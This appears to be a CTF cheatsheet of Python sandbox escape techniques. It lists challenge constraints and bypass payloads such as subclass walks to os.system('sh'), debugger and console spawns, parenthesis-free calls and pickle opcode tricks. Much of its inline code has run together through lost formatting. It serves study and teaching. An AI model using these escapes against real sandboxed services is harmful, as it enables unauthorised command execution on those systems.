Python Jail Escape Techniques
This document provides a comprehensive collection of Python jail escape techniques from various CTF challenges. Python jails restrict execution by filtering characters, banning builtins, or limiting available operations.
References:
Quick Reference Cheatsheet
Unicode Character Bypass
Use Unicode characters that look like ASCII but bypass filters. See details.
Variable Assignment Without =
- In
execcontexts:a=1(normal assignment) - In
evalcontexts:[a:=1](walrus operator) - List comprehension:
[a for a in [1]] - Compact form with spaces:
[[a]for[a]in[[1]]]
Function Calls Without Parentheses
__import__('os')alternatives:help.__class__.__getitem__ = __import__;help['os']help.__class__.__contains__ = __import__('os').system;'sh' in helpExceptionGroup.__class_getitem__ = __import__; ExceptionGroup["os"]help.__class__.__getattr__ = __import__; help.os
breakpoint():license._Printer__setup = breakpoint; str(license)exec(input()):@exec\n@input\nclass a: pass
String Construction Without Quotes
- Character extraction:
help.__doc__[index](extract from existing strings)
Accessing Builtins When Banned
().__class__.__base__.__subclasses__()().__class__.__mro__[1].__subclasses__()().__setattr__.__objclass__.__subclasses__()
When __import__ is available:
().__reduce_ex__(2)[0].__builtins__().__reduce_ex__(2)[0].__globals__["__builtins__"]
When you have access to exception:
try:
1/0
except Exception as e:
print(e.__traceback__.tb_frame.f_builtins)
print(e.__traceback__.tb_frame.f_globals["__builtins__"])
Numbers and Booleans Without Digits
True: Available directlyTruealternative:[[]]>[]Truealternative:not[]is[]False:[]>[]Falsealternative:[]is[]- Increment:
-~xequalsx + 1
Obtaining Shell Access
_aix_support._read_cmd_output(cmd)_osx_support._read_output(cmd)breakpoint()code.InteractiveConsole().interact()code.interact()doctest.debug_script(src)os.system("sh")pdb.run(src)pdb.set_trace()pydoc.pipe_pager(text, cmd)pydoc.tempfile_pager(text, cmd)
hxp 39C3 CTF sponsored
Requirements:
- At most one occurrence for each character
.,(+): use function call +__getattribute__fora.b, call function step by step and save intermediate values via list comprehension - No builtins: use
[].__setattr__.__objclass__.__subclasses__()[os_wrap_close_index].__init__.__globals__["system"]("sh")
Details here.
TSG CTF 2025 SafePickle
Requirements:
- Pickle without
EXT1/EXT2/EXT4/REDUCE/INST/OBJ/PERSID/BINPERSID: useBUILDforlicense._Printer__setup = code.interactandprint(license)to runcode.interact
Details here.
HKCERT CTF 2025 Quals easyJail
Requirments:
- banned pickle
NEWOBJ_EX/INST/REDUCE/OBJ/NEWOBJopcodes: overridepickle._Unpickler.pop_marktocode.interactand triggerpop_mark()viaTUPLE
Details here.
SECCON CTF 2025 Quals excepython
Requirements:
- At most one occurrence for each character
.,(+): use lambda +__getattribute__fora.b, call function step by step, save intermediate values in exceptionKeyErrorvia{}[obj] - No builtins: use
[].__setattr__.__objclass__.__subclasses__()[os_wrap_close_index].__init__.__globals__["system"]("sh")
Details here.
Hack.lu CTF 2025 FÄNGELSE
Requirements:
- No more than 5 characters: use
exit(flagbuf)to leak flag, usea=exit;len=ato override function in two steps, useⅺforxito break the length limitation; alternatively, setlen=allto bypass length check
Details here.
jailCTF 2025 impossible
Requirements:
- No parens: use
obj.__class__.__getitem__ = funcandobj[arg]to call function - No spaces or equal signs: use
[[]for[a]in[[b]]]instead ofa = b - No strings: set
obj.__class__.__getattr__ = __import__andobj.osto importos
Details here.
jailCTF 2025 one
Requirements:
- Only one
.: use lambda function to reusevalue.__getattribute__call - No builtins: use
().__setattr__.__objclass__.__subclasses__()[os_index].__init__.__globals__['system']('sh')to get shell
Details here.
jailCTF 2025 primal
Requirements:
- No
eta: no getattr/setattr, useobj[name]to access fields - No builtins: use
().__reduce_ex__(2)[0].__globals__['__builtins__']['__import__']('os')to get os - Words should have prime length: use
'aa'.__len__()for2, use\xXXin strings
Details here.
CrewCTF 2025 pyfuck
Requirement:
- Only alphabetic characters, parentheses and plus sign: use plus sign to construct string, generator syntax and function call
- Limited builtins and count of
+: search for a short combination to create the intended string
Details here.
CrewCTF 2025 Bytecode Bonanza - Basics
Requirements:
- Limit to the following opcodes in Python 3.9:
- POP_TOP: pop top element
- DUP_TOP: duplicate top element
- UNARY_INVERT: invert top element
- BINARY_ADD: pop two elements, push the sum of them
- POP_JUMP_IF_TRUE: pop top element, jump to target if element is true (non-zero)
- EXTENDED_ARG: construct 16 bit argument for the next op
- Implement three functions:
a-b,1337anda*b
Details here.
WHY2025 CTF TitleCase
Use unicode bypass to avoid str.title().
Details here.
FortID CTF 2025 Michael Scottfield
Requirements:
- Length <= 500: Easy to achieve
- Allow
()but no parameters: Usepdb.set_trace()orcode.InteractiveConsole().interact() - No strings: Use docstrings and
str[index]to create strings - No numbers: Use
Trueas 1 - No builtins: Use
().__class__.__base__.__subclasses__()
Details here.
LACTF 2025 farquaad
Requirements:
- Only printable characters
- No
eorE: Uselist(x.__dict__)[index]to find strings withein it and call it viax.__dict__[list(x.__dict__)[index]](args) - No builtins: Use
().__class__.__mro__[1].__subclasses__()
Details here.
scriptCTF 2025 Modulo
Requirements:
- No builtins: use
().__class__.__base__.__subclasses__()[os_wrap_index].__init__.__globals__["system"]("sh") - No lowercase letters except
c, only allow%binary op: use"%c%c" % (97, 98)to construct strings - No integers: use
()<((),)as1, use-~xasx+1 - No
.: usegetattr(A, "B")asA.B
Details here.
UIUCTF 2024 Astea
Requirements:
- No function call: Use
f"{license}" for license._Printer__setup in [function_to_call]]to callfunction_to_call - No builtins: Use
.__builtins__of the given function to access builtins dict, or.__globals__["__builtins__"]of the given function to access builtins module - No assignment: Use
[a:=b]for assignment
Details here.
jailCTF 2024 filterd
Requirement:
- Input length <= 14: raise input length limit on the fly
- Blacklisted builtins: reuse existing function to re-evaluate
Details here.
jailCTF 2024 no-nonsense
Requirements:
- No
([=]): call functions using decorators,@exec\n@input\nclass a: pass - AST name does not appear in input: use unicode bypass
- No newlines: use
\rinstead of\nfor multiline code
Details here.
UofTCTF 2024 Jail Zero
Requirements:
- No alphabetic: Use Unicode Block “Mathematical Alphanumeric Symbols” to bypass
- No numbers: Use
(''=='')as 1 - No double underscores: Use FULLWIDTH LOW LINE
- No builtins: Use
().__class__.__base__.__subclasses__()
Details here.
SECCON CTF 2024 Quals 1linepyjail
Requirements:
- Length <= 100: Try hard to reduce input length
- Allow
()but no parameters: Usesys.modules["pdb"].set_trace() - No builtins: Use
().__class__.__base__.__subclasses__()to findsys
Details here.
ImaginaryCTF 2024 ok-nice
Requirements:
- No numbers: Use
Trueas 1 - Exception side channel: Use integer division by zero or array out of bounds to guess each character
len(set(input)) <= 17: Reuse characters already appeared
Details here.
ImaginaryCTF 2024 calc
Requirements:
- Input is a expression: Use list comprehension to execute multiple statements
- Input should match regex: Use
1,to bypass since it is not a full match - Audit hook: Add signal handler, raise signal and change content of the audit hook to bypass
Details here.
NTUA_H4CK 2024 Snekbox
Requirements:
- No non-ascii characters
- Blacklisted dangerous functions: Use
globals()[function_name]to bypass
Details here.
TBTL CTF 2024 Squeezing Tightly On Arm
Requirements:
- No
': Use"for strings - Some characters may appear only once: save intermediate values to locals
- No builtins: Use
().__class__.__base__.__subclasses__()to bypass
Details here.
TCP1P CTF 2024 typically not a revenge
Requirements:
- No numbers: Use
arr[[]is[]]forarr[0],arr[not[]is[]]forarr[1],arr[not[]is[]:][not[]is[]]forarr[2] - No parens: Use
[class[arg] for class.__class_getitem__ in [function_to_call]]to call function - No assignments or commas: Use
[... for a in [b] for c in [d]] - No spaces: Use
\fi.e. form feed - No builtins: Use
[].__class__.__base__.__subclasses__() - No sys module: Use
<class 'os._wrap_close'>to find system
Details here.
TCP1P CTF 2024 functional
Requirements:
- Call functions with zero argument, or return value of another function, and all function names should match
[ad-z]+
Details here.
TCP1P CTF 2023 PyMagic
Requirements:
- No
(): Useclass.__class_getitem__andclass[]to bypass - No strings: Use docstrings and
str[index]to create strings - No numbers: Use
Trueas 1 - No spaces: Use
\rto bypass while makinginput()happy - No builtins: Use
().__class__.__base__.__subclasses__()
Details here.
GDG Algiers 2022 Type_it
Requirements:
- No non-ascii characters
- No blacklisted characters
- Prone to string injection
Details here.
ImaginaryCTF Round 23 June 2022 Stackless Jail
Requirements:
- Function can only use at most one stack element: use
CALL_FUNCTIONinstead ofCALL_METHOD, i.e. useB = A.method; C = B()instead ofA.method()
Details here.